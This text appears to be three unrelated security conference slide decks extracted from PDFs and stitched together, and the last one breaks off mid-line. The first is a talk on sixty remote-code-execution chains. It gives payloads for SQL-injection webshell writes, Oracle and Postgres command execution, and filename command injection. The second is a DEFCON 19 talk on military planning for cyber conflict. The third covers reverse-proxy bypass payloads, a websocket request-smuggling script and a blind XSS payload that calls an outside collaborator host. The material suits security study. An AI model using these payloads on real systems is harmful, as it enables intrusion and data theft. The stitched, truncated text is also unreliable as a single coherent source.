SQLi in login (password) to leak hashs ○ Bruteforce hashs for admin credentials ○ Download all .map files, unmap, analyze ○ Re-enable client side hidden file upload ○ Upload ASP webshell as admin ● Sources ○ https://github.com/hashcat/hashcat ○ https://github.com/tennc/webshell/blob/master/asp/webshell.asp ○ https://book.hacktricks.xyz/pentesting-web/sql-injection#exploiting-blind-sqli 11 Jackson json & Fasterxml jackson ● Why & How ○ Overly permissive parsing of json ○ Json being cast into java objects/classes ○ Dangerous features un classes & URIs ○ 3 Shells, 2 json, 1 xml ● Sources ○ https://swapneildash.medium.com/understanding-insecure-implementation-of-jackson-deserialization-7b3d409d2038 ○ https://adamcaudill.com/2017/10/04/exploiting-jackson-rce-cve-2017-7525/ ○ https://paper.seebug.org/1193/ 12 Wkhtmltopdf file read, ssh key ● Why & How ○ Create an account, browse, find a pdf rendering feature ○ Fingerprints shows it uses wkhtmltopdf ○ Not using --disable-local-file-access ○ SSRF shows “port 2222 open”, smells like ssh ○ Read private ssh keys & login ● Sources ○ http://hassankhanyusufzai.com/SSRF-to-LFI/ ○ https://github.com/wkhtmltopdf/wkhtmltopdf/issues/3570 ○ https://www.virtuesecurity.com/kb/wkhtmltopdf-file-inclusion-vulnerability-2/ 13 SSRF, http to gopher, postgres select from cmd ● Why & How ○ Custom php code, parameter “url” found with x8 ○ Validation against http scheme... Redirect to gopher! ○ Scan internal network, find postgresql ○ Execute command with postgres SSRF ● Sources ○ https://github.com/Sh1Yo/x8 ○ https://thinkloveshare.com/hacking/failed02_pulse_secure _vpn_guacamole_websocket_hooking/ ○ https://book.hacktricks.xyz/pentesting-web/sql-injection/p ostgresql-injection#rce-from-version-9.3 14 Magento2, graphql, blind SQLi, & misconfs ● Why & How ○ Magento2 with graphql, introspection on ○ Blind SQLi in graphql query ○ Leak session token ○ Reverse Proxy misconfig that breaks ip protection ○ /server-status leaks the admin url ○ Admin SSTI with custom xml templates ● Sources ○ https://blog.scrt.ch/tag/exploit/ ○ https://blog.scrt.ch/2019/01/24/magento-rce-local-file-read-wit h-low-privilege-admin-rights/ ○ https://twitter.com/blaklis_ ❤❤❤ (Absolutely cool dude) 15 Puppeteer & n-day browser exploits ● Why & How ○ Feature “analyze this website” with “User-Agent: headless chrome 89.X” ○ I love puppeteer, I love outdated software 🙃 ○ Everybody uses --no-sandbox ● Sources ○ https://github.com/r4j0x00/exploits ○ https://github.com/xmzyshypnc/CVE-2021-30551/blob/main/exp.html ○ https://gitlab.com/TheLaluka/headless-updateless-brainless ● Fun fact ○ ALL customer data was in the same docker... ○ The website was ALSO in the same docker... 16 Guacamole weak creds & SSRF in websocket ● Why & How ○ Weak account “demo:demo” ○ Feature “SSRF to host:port” ○ Feature “Save Typescript logs to Filesystem” ○ Feature “It’s JSP anyway” ● Sources ○ https://thinkloveshare.com/hacking/hacking_guacamole_to_trigger_avocado/ ● Fun Fact ○ Hacked another CTF platform 🥳 ○ Nope, not root-me.org this time 😉 17 Weblogic weak creds + package deploy ● Why & How ○ Weak account “weblogic:welcome1” ○ List packages ○ Patch package ○ Deploy package ○ Enjoy package! \o/ ● Sources ○ https://lab.wallarm.com/exploiting-oracle-weblogic-by-remote-code-execution-with-a-console-endpoint-restricted/ ○ https://www.tenable.com/blog/cve-2020-14882-oracle-weblogic-remote-code-execution-vulnerability-exploited-in-the-wild 18 Tomcat weak creds + War deploy ● Why & How ○ Weak Creds ○ Upload War ○ Sekuritay ● Sources ○ Metasploit / tomcat_mgr_upload 19 XXE, tomcat creds, war deploy ● Why & How ○ Java application parses SOAP ○ SOAP implies XML ○ XML implies XXE ○ XXE (OOB, non blind) implies file read ○ File read + Tomcat implies credentials ○ Tomcat + Creds + WAR implies RCE ● Sources ○ https://skavans.ru/en/2017/12/02/xxe-oob-extracting-via-httpftp-using-single-opened-port/ ○ https://staaldraad.github.io/2016/12/11/xxeftp/ ○ XXE SOAP payloads https://gist.github.com/staaldraad/01415b990939494879b4 ○ https://github.com/p0dalirius/Awesome-RCE-techniques/tree/master/Frameworks/Tomcat/techniques/D eploy-an-application PIF PAF POUF 20 Jolokia all the way - Where ● Where ○ Jolokia = Reach JMX through HTTP ○ Exposed /jolokia ○ Reverse-Proxy bypass /..%09/jolokia /..;\\jolokia ○ Php custom, path traversal in ssrf ../../../../jolokia ○ Full SSRF http://127.0.0.1:9000/jolokia ● Sources ○ https://github.com/laluka/jolokia-exploitation-toolkit ○ https://thinkloveshare.com/hacking/ssrf_to_rce_with_jolokia_and_mbeans/ ○ https://thinkloveshare.com/hacking/failed01_dos_to_rce_in_jolokia/ ○ https://thinkloveshare.com/hacking/shells_with_jolokia_exploitation_toolkit/ 21 Jolokia all the way - How ● How ○ Read tomcats creds through Mbean ○ File read tomcat creds ○ File write JSP ○ File write authorized_keys2 ○ File read private ssh_key ○ Deploy AJP to exploit GhostCat Jsp Inclusion ○ Trigger JNDI unserialize ○ Trigger SSRF and RCE through another service ○ SPeL Injection / Code evaluation ○ Arbitrary Vhost/Path deployment ○ Arbitrary WAR deployment ○ Trigger another XXE, arbitrary ls & file read ● Fun Fact ○ External Jolokia once gave me 60+ internal Jolokia through SSRF 22 Wordpress sqli, ATO, php code ● Why & How ○ User enumeration in various endpoints ○ Trigger admin password reset ○ SQLi in WordPress plugin, read reset token ○ Bypass reverse proxy with ///////wp-login.php ○ Inject php reverse-shell in plugin ● Sources ○ https://github.com/laluka/bypass-url-parser ○ Who needs doc to add php in php anway?... 23 Wordpress vhost injection, dir listing, & backup ● Why & How ○ Wordpress vhost injection “Host: localhost” ○ Another wordpress with Directory listing ○ Backup plugin with “random” filename ○ Weak admin hash ○ Admin access, Push php code ○ Shell + main vhost pivot ● Sources ○ https://github.com/p0dalirius/Awesome-RCE-techniques/tr ee/master/Content-Management-Systems-(CMS)/Wordpre ss/techniques/Modify-theme-to-include-php-code Accurate representation of me when I hear “It’s just a directory listing, why bother...” 24 Php unserialize detected with weird 200/500 ● Why & How ○ Crawl on Custom php ○ Parameter discovery with x8 “ser” ○ Detect 200/500 HTTP code with serialized object ○ RCE with PHPGGC & Guzzle ● Sources ○ https://github.com/ambionics/phpggc 25 Some more unserialize ● Why & How ○ Exact same thing, but with another chain, Smarty/RCE ● Sources ○ https://github.com/ambionics/phpggc/pull/88 - Smarty SSRF ● Note ○ Shout out to @cfreal_, I wasn’t good enough back then to find the gadget No unserialize RCE in Smarty All of this is a lie RCE in Smarty & Code is lost Smarty/SSRF with ?? 26 Groovy console with rev proxy url bypass ● Why & How ○ ffuf with custom wordlist ○ 403 on /bin/groovyconsole/post.json ○ Bypass-url-parser : /img/..;/.///bin/groovyconsole/post.json ○ Complex payload : “id”.execute() ● Sources ○ https://github.com/icfnext/aem-groovy-console ○ https://pentestbook.six2dez.com/enumeration/webservices/jenkins 27 Jar ssrf, slow upload, mbeans & logback jndi ● Why & How ○ jar:http://foo.bar/my.jar!/path/to/file.txt ○ my.jar contains logback.xml ○ Slow SSRF + jar = temporary extraction on filesystem ○ AEM allows some Mbeans ○ Logback allows configuration reload, including some LDAP unserialize 😍 ● Sources ○ https://github.com/mpgn/Spring-Boot-Actuator-Exploit/ blob/master/logback.xml ○ https://book.hacktricks.xyz/pentesting-web/deserialization/ Jndi-java-naming-and-directory-interface-and-log4shell ○ https://highon.coffee/blog/ssrf-cheat-sheet/ 28 Actuator gateway - SpEL injection ● Why & How ○ Actuator Gateway used as an SSRF ○ Custom monitoring tool on 127.0.0.1:9000 ○ /log/post.php -> file write -> /log/YYYY-MM-DD/webshell.php ● Sources ○ https://wya.pl/2021/12/20/bring-your-own-ssrf-the-gateway-actuator/ ○ https://blog.viettelcybersecurity.com/cve-2022-22947-spring-cloud-ga teway-code-injection-vulnerability/ ● Fun Fact ○ Actuator Gateway used MANY times as an SSRF vector ○ All this time, It was an unknown SpEL RCE........ RCE RCE RCE RCE RCE RCE RCE RCE 29 Cve-2019-7609 - Kibana prototype pollution ● Why & How ○ Hey, it’s a Kibana! ○ Google “exploit kibana” lead to CVE-2019-7609 ○ Copy-Paste the prototype-pollution exploit ○ Shell... ● Sources ○ https://research.securitum.com/ prototype-pollution-rce-kibana-cve-2019-7609/ 30 Php SSRF, gopher, & memcached ● Why & How ○ Custom php code, *click click* & capture traffic in Burp ○ Replay a request with a URL to acquire SSRF ○ SSRF enforces https:// with valid certificate ○ Use of docker caddy to generate a trusted certificate ○ Redirect to gopher:// and find a memcached ○ Use a file read to recover all the sources ○ Store a custom serialized php object ○ Trigger the right code path to have the object unserialized ● Sources ○ https://www.exploit-db.com/exploits/37815 ○ https://www.blackhat.com/docs/us-14/materials/us-14-Novikov-The-New -Page-Of-Injections-Book-Memcached-Injections-WP.pdf ○ https://hackmag.com/security/a-small-injection-for-memcached/ “SSRF” 31 Gitlab DjVu, “login” to RCE ● Why & How ○ Exposed gitlab instance, not up-to-date ○ Post image, analized by exiftools ○ Support of weird & unsecure formats ❤ ● Sources ○ https://gitlab.com/gitlab-org/gitlab/-/issues/327121 ○ https://github.com/mr-r3bot/Gitlab-CVE-2021-22205 ● Fun Fact ○ First seen as post-auth with a friend ○ “Why can’t I find login logs???” ○ 2 days later, update for a pre-auth RCE on gitlab... 32 Laravel, SQLi, SELECT INTO OUTFILE ● Why & How ○ Laravel on windows ○ Custom code offers SQLi ○ --secure-file-priv="" ○ SELECT * FROM osef INTO OUTFILE /var/www/html/webshell.php ● Sources ○ https://sebhastian.com/mysql-fix-secure-file-priv-error/ ● Fun fact ○ “Prod” was a dev laptop kept open 33 Java stacktrace to RCE ● Why & How ○ Fuzz path, find Java StackTrace ○ Extract package name ○ Google “$PACKAGE_NAME” ○ Sources pushed on maven (nexus) ○ Hardcoded tomcat creds ○ Login && Deploy .war ● Sources ○ https://fr.sonatype.com/products/nexus-repository ○ https://beanstack.io/ 34 Viewstate encrypted with default key ● Why & How ○ Crawl, grep, find __VIEWSTATE ○ Bruteforce weak secret with Blacklist3r ○ ForEach gadget with ysoserial.net ○ Reverse shell with pyfuscation ● Sources ○ https://book.hacktricks.xyz/pentesting-web/deserialization/exploiting-__viewstate-parameter ○ https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper ○ https://github.com/pwntester/ysoserial.net ○ https://github.com/CBHue/PyFuscation 35 SSTI Dotnet, razor template ● Why & How ○ Crawl... Aggressively! ○ query=%22foo%22 -> 200 ○ query=” -> 400 ○ query=”%2B”foo”%2B” -> 200 ○ B-Y-O-Payload ● Sources ○ https://docs.microsoft.com/fr-fr/aspnet/core/mvc/views/razor ○ https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/ " 36 Lotus notes hashs & QuickConsole ● Why & How ○ Lotus notes, like, really old ○ CVE-2005-2428 -> leak all user hashs ○ hashcat + rockyou2021.txt ○ Login as Admin + QuickConsole ○ /webadmin.nsf/agReadConsoleData$UserL2? OpenAgent&Mode=QuickConsole&Command=cmd.exe+/c+$CMD ● Sources ○ https://www.exploit-db.com/exploits/39495 CVE-2005-2428 ○ https://github.com/coldfusion39/domi-owned 37 Spip 0-day, write cache-file into include ● Why & How ○ Setup Spip ○ Fuzz spip (sulfateuse ❤❤❤) ○ cd logs && grep -riF sulf ○ Output reflected in 1337_cache.php ○ Add some quotes in there, insert code ○ Payload reflected in included cache file ○ Query for shell? ● Sources ○ https://discuter.spip.net/t/mise-a-jour-critique-de-securite-spip-3-2-8-et-spip-3-1-13/150707 38 Spip 0-day, Weak creds, custom “SSTI” ● Why & How ○ Find Spip ○ Login to Spip - admin:admin ○ Set article title to <?php phpinfo(); ?> ○ Bump article state ○ Email(eval(Article X submitted)) ○ Enjoy shell ● Sources ○ ¯\_(ツ)_/¯¯\_(ツ)_/¯¯\_(ツ)_/¯ ○ TBD - php-Internalog ○ https://github.com/laluka/pty4all 39 Magento2 SSTI, n-day ● Why & How ○ Magento2 - Pre-auth SSTI ○ CVE-2022-24086 & CVE-2022-24087 ○ 🤐🤐🤐🤐🤐🤐🤐🤐🤐🤐🤐🤐🤐 ○ Used 3 times ● Sources ○ https://sansec.io/research/magento-2-cve-2022-24086 40 Liferay unserialize ● Why & How ○ Liferay old-ish ○ Unserialize known issues ○ 2 rce, different gadgets ● Sources ○ https://medium.com/@knownsec404team/ Liferay-portal-json-web-service-deserialization-vulnerability -cve-2020-7961-analysis-ca9f24478274 ○ https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html ○ https://www.synacktiv.com/publications /how-to-exploit-liferay-cve-2020-7961-quick-journey-to-poc.html 41 ALM misconfiguration & Mbeans ● Why & How ○ ALM/Quality Center misconfig ○ Exposed /qcbin/debug, enable jmx-console ○ /qcbin/jmx-console is now exposed ○ Heapdump heapdump-shell.jsp in webroot ● Sources ○ https://github.com/laluka/jolokia-exploitation-toolkit /blob/main/exploits/file-write-to-rce-vhost-jfr.md ○ https://eyeontesting.com/answers/how-do-i-get-to-the-almquality -center-debug-page-where-it-tells-me-about-java-heap-use/ 42 Adminer, rogue sql server, DUMPFILE ● Why & How ○ /adm redirects to adminer.php ○ Default creds - adminer:adminer ○ Connect to sql 127.0.0.1:3306 ○ SELECT INTO DUMPFILE “shell.php” ● Sources ○ https://github.com/p0dalirius/CVE-2021-43008-AdminerRead 43 Weird upload & LFI ● Why & How ○ File upload on app, not stored in webroot :( ○ Empty filename outputs /tmp/smth/RANDOMMM.png ○ App contains LFI, classic ?style=foo.css ○ LFI(/tmp/smth/RANDOMMM.png) = webshell ● Sources ○ https://github.com/roughiz/lfito_rce ○ https://insomniasec.com/ cdn-assets/LFI_With_PHPInfo_Assistance.pdf 44 Actuator env & Postgresql ● Why & How ○ Exposed /actuator/env ○ env contains postgres credentials ○ Connect to postgres ○ COPY * FROM PROGRAM “id”; ● Sources ○ https://github.com/rapid7/metasploit-framework /blob/master/modules/exploits/multi/postgres/ postgres_copy_from_program_cmd_exec.rb 45 SAP - Virtualjdbc ● Why & How ○ /virtualjdbc/ is 403, forbidden ○ //virtualjdbc/ - direct unserialize rce ○ /v%69rtualjdbc/ - direct unserialize rce ● Sources ○ https://wiki.scn.sap.com/wiki/pages /viewpage.action?pageId=523998017 ○ http://vjdbc.sourceforge.net/ ○ https://pyn3rd.github.io/2022/06/02/Make-JDBC-Attacks-Brilliant-Again/ payload 46 Tomcat CVE, Trailing Slash ● Why & How ○ /%ff gives an error 500 with stacktrace ○ Tomcat version vulnerable to known CVE ○ readonly initialization parameter set to false ○ Try that good old’ PUT webshell.jsp/ ○ It Works... O_o ● Sources ○ https://www.infosecmatter.com/metasploit-module-library /?mm=exploit/multi/http/tomcat_jsp_upload_bypass ○ https://developpaper.com/question/modify-the-initialization- parameter-of-tomcat-embedded-in-springboot-readonly/ 47 File upload, webshell in jsp|php|asp ● Why & How ○ Weak creds OR pre-auth file upload ○ Upload a dead-simple webshell : jsp|php|asp ○ 2 times with “Jquery file upload” in subdirs ○ 2 times with various custom code ○ 1 time with war upload to tomcat auto-deploy path ● Sources ○ https://github.com/xl7dev/WebShell ○ https://www.webucator.com/article/ how-to-use-the-autodeploy-attribute-in-apache-tomc/ Before -> 𝖆𝖊𝖙𝖊𝖗 48 Oracle 11g, SQLi & Custom “features” ● Why & How ○ SQLI on login feature, password field... AGAIN... ○ DBMS Oracle 11g on windows ○ SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper cmd.exe /c ping $DOMAIN') FROM DUAL; ● Sources ○ http://www.davidlitchfield.com/HackingAurora.pdf ○ https://owasp.org/www-pdf-archive/ASDC12- New_and_Improved_Hacking_Oracle_From_Web.pdf 49 Oracle, XXE, Path traversal & feature abuse ● Why & How ○ Click Click, browse the website, find a SOAP xml endpoint ○ Pre-auth XXE in SOAP endpoint ○ Turn XXE into OOB SSRF read ○ Find open port http port 7401 ○ Enumerate, find a Weblogic console ○ Use bypass-url-parser to reach console.portal ● Sources ○ SOAP XXE https://gist.github.com/staaldraad/01415b990939494879b4 ○ https://github.com/laluka/bypass-url-parser ● Fun fact ○ URL bypass found was already known, CVE-2020-14882 🎉🎉🎉 50 Weblogic, xmlpserver/ReportTemplateService ● Why & How ○ Weblogic, fuzz, find /xmlpserver/ReportTemplateService ○ Known pre-auth XXE with CVE-2019-2616 ○ File Read on admin hashs ○ Crack weak hashs & login ○ RCE in JDBC URI handler ● Sources ○ https://github.com/vah13/OracleCVE/blob/master/ Oracle%20Business%20Intelligence/XXE/CVE-2019-2616_PoC.txt ○ https://pyn3rd.github.io/2022/06/02/Make-JDBC-Attacks-Brilliant-Again/ 51 Exposed git, file write on authorized_keys2 ● Why & How ○ Fuzz, /.git/HEAD goes 403 ○ /;//.git/HEAD goes 200, DUMP IT!! ○ Django admin creds in readme.md ○ Login as admin, “write logs to X” feature ○ [junk]\n[ssh-rsa ...]\n[junk] in authorized_keys2 ○ Ssh on “your” server 🙃 ● Sources ○ https://github.com/django/django ○ http://man.he.net/man5/authorized_keys 52 Symfony Fragment ● Why & How ○ Fuzz, /_fragment found with various error codes ○ Default APP_SECRET used (good wordlist in the exploit) ○ OR read APP_SECRET in /_profiler/phpinfo (debug) ○ Send a signed and serialized Monolog object in path ○ Now, repeat 4 times... ● Sources ○ https://www.ambionics.io/blog/symfony-secret-fragment ○ https://github.com/ambionics/symfony-exploits ○ https://twitter.com/cfreal_ 53 Outdated vbulletin, code injection ● Why & How ○ Crawl, grep for version numbers, find an old vbulletin ○ Google “exploit vbulletin 5.5.3” -> CVE-2019-16759 ○ Textbook php code injection... ● Sources ○ https://www.cvedetails.com/cve/CVE-2019-16759/ ○ https://github.com/jas502n/CVE-2019-16759 54 Command injection in pdf rendering filename ● Why & How ○ Custom java code ○ Renders html to pdf with Wkhtmltopdf!!! ○ No xss, no redirect, no javascript 😭😭😭 ○ Actually, nickname gives nickname.pdf ○ Register with nick;ping$IFS$DOMAIN;name ○ Command execution in filename BEFORE rendering... ● Sources ○ https://wkhtmltopdf.org/ ○ https://lmgtfy.app/?q=should+i+sanitize+user+inputs ○ https://lmgtfy.app/?q=is+it+bad+to+concatenate+strings 55 Log4shell binance.cn & SOC ● Why & How ○ Wake up one day, Log4Shell is now a thing ○ Spray payloads with various custom nuclei templates ○ Pwn a SOC 1 week later ○ Pwn binance.cn in BugBounty ■ Duplicate, 10mn late ■ Do not receive 10k$ ■ Sad Soup ● Sources ○ https://github.com/kozmer/log4j-shell-poc ○ https://www.lunasec.io/docs/blog/log4j-zero-day/ ○ https://bishopfox.com/blog/identify-and-exploit-log4shell ● Fun fact ○ Some sings are SUPER WEIRD to trigger ○ Some callbacks spawn 1 WEEK LATER 56 [CENSORED] - CVE-XXXX-XXXXX :) ● Why & How ○ Pre-auth file write through “weird SSRF” ○ Autoload included before a call to is_dir ○ Guzzle with phar:// ● Sources ○ https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserializat ion-Vulnerability-Jim-But-Not-As-We-Know-It.pdf ○ https://vickieli.dev/insecure%20deserialization/unserialize/ 57 3. Takeaways 58 Let’s apply Pareto’s rule: 20% effort == 80% efficiency 1. Do not mix routing & filesystem 2. Avoid to the maximum PHP & JAVA 3. Keep your software up-to-date 4. Be super careful with a. Serialization (Unserialize for the win <3) b. PDF rendering (browser exploit, file read, XSS, SSRF) c. File-Write & Upload features (WebShell, ssh keys) d. String Concatenations (SSRF/CMD/SQLi) e. Stacktraces (Not a joke, it’s often the first sin) 59 Then, what would be a safe prod? 1. Golang or Rust backend (API only), compiled into a single stripped binary 2. A react frontend that mitigates most of the XSS 3. An ORM used in the backend for every database request 4. Increase segmentation, one service by minimalistic container 5. A strong Web Application Firewall (Cloudflare, Sqreen, Imperva) 6. A strong Software Update Policy (bump everything twice a month) 7. Frequent security audits, and security trainings for the developers 60 @TheLaluka thinkloveshare.com 1001 ways to PWN prod A tale of 60 RCE in 60 minutes 61
pdf
Art of the possible Christopher Cleary [email protected] “Plans are nothing; planning is everything.” - Dwight D. Eisenhower (1890-1969) 1 Clash of civilizations “Invincibility lies in the defense; the possibility of victory in the attack.” - Sun Tzu DEFCON 19 How did I get here and what did I learn along the way 3 One of these things is not like the other “Strategy without tactics is the slowest route to victory. Tactics without strategy is the noise before defeat.” - Sun Tzu These two are closer than we think “Every citizen should be a soldier. This was the case with the Greeks and Romans, and must be that of every free state.” -Thomas Jefferson spectrum of conflict Increasing Violence Insurgency Unstable Peace Stable Peace General War Peacetime Military Engagement Limited Intervention Major Combat Operations Peace Operations Irregular Warfare •  Training and Exercises •  Recovery Operations •  Arms Control •  Counter Drug •  NEO Ops •  Strike, Raid •  Show of Force •  Sanction Enforcement •  Peacekeeping •  Peace Building •  Peacemaking •  Conflict Prevention •  Support to Insurgency •  Counterinsurgency •  Combating Terrorism •  Unconventional Warfare •  Named Operations •  Significant offensive and defensive operations Operational Themes Elements of Full Spectrum Operations Offensive Operations Primary Tasks •  Movement to Contact •  Attack •  Exploitation •  Pursuit Purposes •  Isolate, Disrupt, Destroy •  Seize key terrain •  Deprive enemy of resources •  Deceive and divert enemy Stability Operations Primary Tasks •  Civil Security •  Civil Control •  Support to Governance •  Support to Infrastructure Development Purposes •  Provide a Secure Environment •  Meet the Critical Needs of the Populace •  Gain Support for the Host-Nation •  Shape the Environment for Success Defensive Operations Primary Tasks •  Mobile Defense •  Area Defense (Static) •  Retrograde Purposes •  Deter or Defeat Offensive Operations •  Gain Time •  Achieve Economy of Force •  Protect a Populace, Critical Assets and Infrastructure Civil Support Operations Primary Tasks •  Civil Law Enforcement •  Provide Support in Response to disaster or Terrorist Attack Purposes •  Save Lives •  Restore Essential Services •  Maintain Law and Restore Order •  Protect Infrastructure and Property Combining Elements Spectrum of Conflict Insurgency Unstable Peace Stable Peace General War Peacetime Military Engagement Limited Intervention Major Combat Operations Peace Operations Irregular Warfare Stability Defense Offense Stability Defense Offense Stability Defense Offense Stability Defense Offense Stability Defense Offense “Schriever wargame” Spectrum of Conflict Insurgency Unstable Peace Stable Peace General War Peacetime Military Engagement Stability Defense Offense •  Training and Exercises •  Recovery Operations •  Arms Control •  Counter Drug •  Space/Cyberspace Exercise •  Multi-Service (Army, Navy…) •  Multi Agency (DIA, NSA, Etc…) •  Multi Nation (AUS, UK, CAN…) “Stuxnet” Insurgency Unstable Peace Stable Peace General War Limited Intervention Stability Defense Offense •  ????? vs Iran •  Non-Kinetic Strike •  Specific target •  Designed to Degrade a Capability •  No Follow on Actions •  NEO Ops •  Strike, Raid •  Show of Force •  Sanction Enforcement Russia vs. Georgia (2008) Spectrum of Conflict Insurgency Unstable Peace Stable Peace General War Major Combat Operations Stability Defense Offense •  DDOS Targeted Government sites •  “Enabling Action” •  Synchronized with Kinetic Operations •  Named Operations •  Significant offensive and defensive operations art of the possible?? 12 Did Hollywood do their homework? •  Based on the article “Farewell to Arms” by John Carlin •  Focused on the “Execution” •  IO Campaign •  Part of a bigger plan? •  “Preparation of the Battlespace” Operational design 14 O Operational Design Elements Termination End State & Objectives Effects Center of Gravity Decisive Points Directs vs Indirect Operational Reach Simuleity & Depth Timing & Tempo Forces & Function Leverage Balance Anticipation Synergy Culmination Arranging Operations Operational Art Operational Art Operational Art Operational Art National Strategic End States Systems Perspective Of the Operational Environment Arrangement of Capabilities in Time, Space and Purpose Linkage to Ends, Ways, and Means Course of Action Commanders Intent CONOPS Joint Operations Planning Process Effects based planning COG • Center of Gravity • The source of poser the provides moral or physical strength, freedom of action of will to act CCs • Critical Capability • Those means that are considered crucial enablers for a COG to function CRs • Critical Requirements • The conditions, resources, and means that enable a critical capability to become fully operational CVs • Critical Vulnerabilities • Those aspects or component of CRs that are deficient, or vulnerable to direct or indirect attack in a manner achieving decisive or significant results 15 Tasks EFFs OBJs E/S • (Military) End State • A point in time and/or circumstances beyond which the President does not require the military instrument of national power as the primary means to achieve remaining national objectives • Objectives • A Clearly defined, decisive, and attainable goal toward which every military operations should be directed • Prescribe friendly goals • Effects • A physical and/or behavioral state of a system that results from an action, a set of actions, or another effect • Describes system behavior in the operational environment • Tasks • Direct friendly action Center of Gravity - “The hub of all power and movement, on which everything depends” Clausewitz Planning Initiation Mission Analysis Course of Action (COA) Development COA Wargaming and Comparison COA Selection and Approval 16 “In preparing for battle I have always found that plans are useless, but planning is indispensable.” Dwight D. Eisenhower Joint operations planning process Planning Initiation Mission Analysis Course of Action (COA) Development COA Wargaming and Comparison COA Selection and Approval Mission analysis •  Determine known facts •  Analyze the higher commander’s intent •  Determine specified, implied and essential tasks •  Determine operational limitations •  Develop assumptions •  Determine own & enemy’s center of gravity •  Determine initial commanders CCIR’s •  Conduct initial force structure •  Conduct initial risk assessment •  Develop mission statement •  Develop mission analysis brief •  Prepare initial staff estimates •  Determine known facts •  Analyze the higher commander’s intent •  Determine specified, implied and essential tasks •  Determine operational limitations •  Develop assumptions •  Determine own & enemy’s center of gravity •  Determine initial commanders CCIR’s •  Conduct initial force structure •  Conduct initial risk assessment •  Develop mission statement •  Develop mission analysis brief •  Prepare initial staff estimates Mission to task COG United States Government CCs Banking, Law Enforcement; First Responders CRs Banks, Telecom, Police, Utilities, Transportation CVs Physical, Technical, Procedural 18 Tasks EFFs OBJs E/S Destabilize United States Critical Infrastructure Disrupt, Degrade, Destroy Varied by Target Kinetic, Non-Kinetic Planning Initiation Mission Analysis Course of Action (COA) Development COA Wargaming and Comparison COA Selection and Approval 19 a. Adequate b. Feasible c. Acceptable d. Distinguishable e.  Complete •  Objective, effects and tasks •  Major forces required •  Concepts for deployment, employment, and sustainment •  Time estimates for achieving objectives •  End state and mission success criteria Coa development a. Adequate b. Feasible c. Acceptable d. Distinguishable e.  Complete •  Objective, effects and tasks •  Major forces required •  Concepts for deployment, employment, and sustainment •  Time estimates for achieving objectives •  End state and mission success criteria Planning Initiation Mission Analysis Course of Action (COA) Development COA Wargaming and Comparison COA Selection and Approval 20 •  Potential Decision Points •  Governing Factors •  Potential Branches and Sequels •  Refine the COA •  Revise Staff Estimates Coa wargaming •  Potential Decision Points •  Governing Factors •  Potential Branches and Sequels •  Refine the COA •  Revise Staff Estimates Phase 2 Phase 1 Phase 0 Gabriel's plan 21 “Fire Sale” “Woodlawn” “House Cleaning” Kill the “Help” Government DHS, SSA, Etc.. Financials Utilities Complete IPB Transportation “Download 20%” Secure & Prep SSA Evac SSA Attack Wall Street Begin Data Transfer Attack Triggers Data transfer To SSA (Sequal) (Sequal) “Kill McClain” Mission Complete Open a book (….or go online) •  Joint Pub 3-0 – Joint Operations •  Joint Pub 3-13 – Information Operations •  CNO, EW, MILDEC, PSYOPS, OPSEC •  CNO (CND, CNE, CNA, Net Ops) •  Joint Pub 3-60 - Targeting •  Joint Pub 5-0 – Joint Operations Planning •  Field Manual 3-0 – Operations •  Field Manual 3-90 – Tactics http://www.dtic.mil/ Questions? Chris Cleary [email protected] 23
pdf
Secondary Contexts Mahmoud M. Awali @0xAwali attacker Tricks To Identify Some " Hidden " Reverse HTTP Proxies TRACE OR GET /Endpoint-To-Proxy HTTP/1.1 Host: www.company.com Max-Forwards: Number e.g. 1 , 2 OR 3 User-Agent: Mozilla/5.0 Referer: https://previous.com/path Origin: https://www.company.com Rules Will Use To Figure Out There Is Reverse Proxy 502 Bad Gateway status code 483 status code When Using TRACE , The Body Contains The ' X-Forwarded-For ' String ' Via ' OR ' X-Via ' Headers Are Detected Some Fields Are Different Between Hops : HTTP Status Codes ' Server ' Headers ' Content-Type ' Headers ' Via ' Headers HTML Titles HTML ' Address ' Tags ' X-Forwarded-For ' Values In Body ● Blog attacker Tricks To Identify Routing Of HTTP Request Does /Endpoint-To-Proxy/../ Return Something Different Than / Does /Endpoint-To-Proxy/../ Return Headers Different Than / Try To Inject Encode , Double OR Triple URL Encoding In Parameters # %23 ? %3F & %26 . %2e / %2F @ %40 e.g. https://www.company.com/api/path?id=%23 Try To Inject Encode , Double OR Triple URL Encoding These Payloads After URL ..%2f%23 ..;/ ..%00/ ..%0d/ ..%5c ..\ ..%ff/ %2e%2e%2f .%2e/ e.g. https://www.company.com/api/..%00/ ● Blog ● Video ● Tweet attacker My Methodology Try To Use OPTIONS Method To Figure Out Are There Sub-Endpoints e.g. Endpoint-To-Proxy/Another-Endpoint ● Tweet Try To Change Request Method To PUT If You Got 201 Created Then There Is RCE PUT /Endpoint-To-Proxy HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Referer: https://previous.com/path Origin: https://www.company.com attacker My Methodology ● Blog ● Blog ● Writeup attacker My Methodology Try To Append .json Extension To Your Endpoints e.g. /endpoint-To-Proxy.json To Get Sensitive Information ● Tweet attacker My Methodology Try To Figure Out Are There Endpoints Accept Establishing HTTP/2 Cleartext , If Yes Try To Smuggler It By Using Tool e.g. h2csmuggler Steps to produce :- 1 - Collect All The Endpoints 2 - Put It In File Called e.g. url.txt 3 - Open Your Terminal 4 - Write This Command python3 h2csmuggler.py --scan-list url.txt --threads 5 ● Blog attacker Smuggler Websocket Endpoints Steps to produce :- 1 - Open Your Terminal 2 - Write This Command python3 websocket-smuggler.py import socket req1 = '''GET /ُEndpoint-To-Proxy/ HTTP/1.1 Host: company.com Sec-WebSocket-Version: 1337 Upgrade: websocket '''.replace('\n', '\r\n') req2 = '''GET /Internal-Endpoint HTTP/1.1 Host: localhost:PORT '''.replace('\n', '\r\n') def main(netloc): host, port = netloc.split(':') sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((host, int(port))) sock.sendall(req1) sock.recv(4096) sock.sendall(req2) data = sock.recv(4096) data = data.decode(errors='ignore') print data sock.shutdown(socket.SHUT_RDWR) sock.close() ● Slides ● Video If There Is Nginx As Reverse Proxy Try To Inject Blind XSS Payloads e.g. %3C%22img src='https://RandomString(10).id.burpcollaborator.net'%22%3E To Get XSS GET 